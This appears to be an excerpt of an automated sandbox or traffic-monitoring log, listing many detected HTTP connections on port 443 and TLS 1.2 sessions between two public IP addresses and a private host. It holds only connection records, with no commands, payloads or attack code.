Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50579
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50571
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50572
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50576
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50580
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50589
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50581
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50585
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50587
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50591
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50590
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50592
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50597
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50599
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50598
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 50478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50538
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50531
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50532
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50549
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50540
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50542
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50558
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50553
Source: unknown	Network traffic detected: HTTP traffic on port 50619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50554
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50563
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50566
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50565
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 50617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50493
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939

Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49947 version: TLS 1.2
